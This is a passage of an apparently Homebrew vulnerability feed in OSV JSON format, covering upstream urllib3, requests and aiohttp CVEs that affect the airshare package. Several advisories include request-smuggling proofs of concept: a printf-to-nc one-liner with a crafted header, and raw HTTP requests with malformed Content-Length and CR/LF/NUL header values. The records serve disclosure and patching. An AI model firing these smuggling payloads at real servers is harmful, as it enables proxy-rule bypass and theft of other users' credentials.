tp"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-19"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4864"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2021-33503","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-q2q7-5pp4-w6pg","CVE-2021-33503","PYSEC-2021-108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.5","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"Catastrophic backtracking in URL authority parser when passed URL containing many @ characters","details":"### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-33503"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/5b047b645f5f93900d5e2fc31230848c25eb1f5f#diff-52026d639119bf1e0364836b4e8a18bd9ed3c95c6ba39b26534a5057a65e35bbR65"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-108.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SCV7ZNAHS3E6PBFLJGENCDRDRWRZZ6W"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FMUGWEAUYGGHTPPXT6YBD53WYXQGVV73"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-32681","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-37276","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-45c4-8wx5-qw6w","CVE-2023-37276","PYSEC-2023-120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.5","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser","details":"### Impact\n\naiohttp v3.8.4 and earlier are [bundled with llhttp v6.0.6](https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules) which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.\n\nThis vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`).\n\n### Reproducer\n\n```python\nfrom aiohttp import web\n\nasync def example(request: web.Request):\n headers = dict(request.headers)\n body = await request.content.read()\n return web.Response(text=f\"headers: {headers} body: {body}\")\n\napp = web.Application()\napp.add_routes([web.post('/', example)])\nweb.run_app(app)\n```\n\nSending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.\n\n```console\n$ printf \"POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nX-Abc: \\rxTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nA\\r\\n0\\r\\n\\r\\n\" \\\n | nc localhost 8080\n\nExpected output:\n headers: {'Host': 'localhost:8080', 'X-Abc': '\\rxTransfer-Encoding: chunked'} body: b''\n\nActual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)\n headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'\n```\n\n### Patches\n\nUpgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: [`pip install aiohttp >= 3.8.5`](https://pypi.org/project/aiohttp/3.8.5/)\n\n### Workarounds\n\nIf you aren't able to upgrade you can reinstall aiohttp using `AIOHTTP_NO_EXTENSIONS=1` as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:\n\n```console\n$ python -m pip uninstall --yes aiohttp\n$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp\n```\n\n### References\n\n* https://nvd.nist.gov/vuln/detail/CVE-2023-30589\n* https://hackerone.com/reports/2001873\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37276"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681"},{"type":"WEB","url":"https://hackerone.com/reports/2001873"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-43804","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453VQVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-45803","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-47627","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-gfw2-4jvh-wgfg","CVE-2023-47627","PYSEC-2023-246"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has problems in HTTP parser (the python one, not llhttp)","details":"# Summary\nThe HTTP parser in AIOHTTP has numerous problems with header parsing, which could lead to request smuggling.\nThis parser is only used when `AIOHTTP_NO_EXTENSIONS` is enabled (or not using a prebuilt wheel).\n \n# Details\n\n## Bug 1: Bad parsing of `Content-Length` values\n\n### Description\nRFC 9110 says this:\n> `Content-Length = 1*DIGIT`\n\nAIOHTTP does not enforce this rule, presumably because of an incorrect usage of the builtin `int` constructor. Because the `int` constructor accepts `+` and `-` prefixes, and digit-separating underscores, using `int` to parse CL values leads AIOHTTP to significant misinterpretation.\n\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: -0\\r\\n\n\\r\\n\nX\n```\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: +0_1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nVerify that a `Content-Length` value consists only of ASCII digits before parsing, as the standard requires.\n\n## Bug 2: Improper handling of NUL, CR, and LF in header values\n\n### Description\nRFC 9110 says this:\n> Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.\n\nAIOHTTP's HTTP parser does not enforce this rule, and will happily process header values containing these three forbidden characters without replacing them with SP.\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\x00alue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\ralue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\nalue\\r\\n\n\\r\\n\n```\n### Suggested action\nReject all messages with NUL, CR, or LF in a header value. The translation to space thing, while technically allowed, does not seem like a good idea to me.\n\n## Bug 3: Improper stripping of whitespace before colon in HTTP headers\n\n### Description\nRFC 9112 says this:\n> No whitespace is allowed between the field name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject, with a response status code of 400 (Bad Request), any received request message that contains whitespace between a header field name and colon.\n\nAIOHTTP does not enforce this rule, and will simply strip any whitespace before the colon in an HTTP header.\n\n### Example\n```\nGET / HTTP/1.1\\r\\n\nContent-Length : 1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nReject all messages with whitespace before a colon in a header field, as the standard requires.\n\n# PoC\nExample requests are embedded in the previous section. To reproduce these bugs, start an AIOHTTP server without llhttp (i.e. `AIOHTTP_NO_EXTENSIONS=1`) and send the requests given in the previous section. (e.g. by `printf`ing into `nc`)\n\n# Impact\nEach of these bugs can be used for request smuggling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47627"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d5c12ba890557a575c313bb3017910d7616fce3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-246.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FUSJVQ7OQ55RWL4XAX2F5EZ73N4ZSH6U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDKQ6HM3KNDU4OQI476ZWT4O7DMSIT35"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQYQL6WV535EEKSNH7KRARLLMOW5WXDM"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-47641","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-xx9p-xxvh-7g8j","CVE-2023-47641","PYSEC-2023-247"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"Aiohttp has inconsistent interpretation of `Content-Length` vs. `Transfer-Encoding` differing in C and Python fallbacks","details":"### Impact\n\nAiohttp has a security vulnerability regarding the inconsistent interpretation of the http protocol. As we know that HTTP/1.1 is persistent, if we have both Content-Length(CL) and Transfer-Encoding(TE) it can lead to incorrect interpretation of two entities that parse the HTTP and we can poison other sockets with this incorrect interpretation.\n\nA possible Proof-of-Concept (POC) would be a configuration with a reverse proxy(frontend) that accepts both CL and TE headers and aiohttp as backend. As aiohttp parses anything with chunked, we can pass a chunked123 as TE, the frontend entity will ignore this header and will parse Content-Length. I can give a Dockerfile with the configuration if you want.\n\nThe impact of this vulnerability is that it is possible to bypass any proxy rule, poisoning sockets to other users like passing Authentication Headers, also if it is present an Open Redirect (just like CVE-2021-21330) we can combine it to redirect random users to our website and log the request.\n\n\n### References\n\n- https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-xxvh-7g8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47641"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-247.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-49081","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-q3qx-c6g2-7pw2","CVE-2023-49081","PYSEC-2023-250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via version","details":"### Summary\nImproper validation make it possible for an attacker to modify the HTTP request (e.g. to insert a new header) or even create a new HTTP request if the attacker controls the HTTP version.\n\n### Details\nThe vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).\nFor example if an unvalidated JSON value is used as a version and the attacker is then able to pass an array as the `version` parameter.\nFurthermore, the vulnerability only occurs when the `Connection` header is passed to the `headers` parameter.\n\nAt this point, the library will use the parsed value to create the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.\n\n### PoC\nThe POC below shows an example of providing an unvalidated array as a version:\nhttps://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e\n\n### Impact\nCRLF injection leading to Request Smuggling.\n\n### Workaround\nIf these specific conditions are met and you are unable to upgrade, then validate the user input to the `version` parameter to ensure it is a `str`.\n\nPatch: 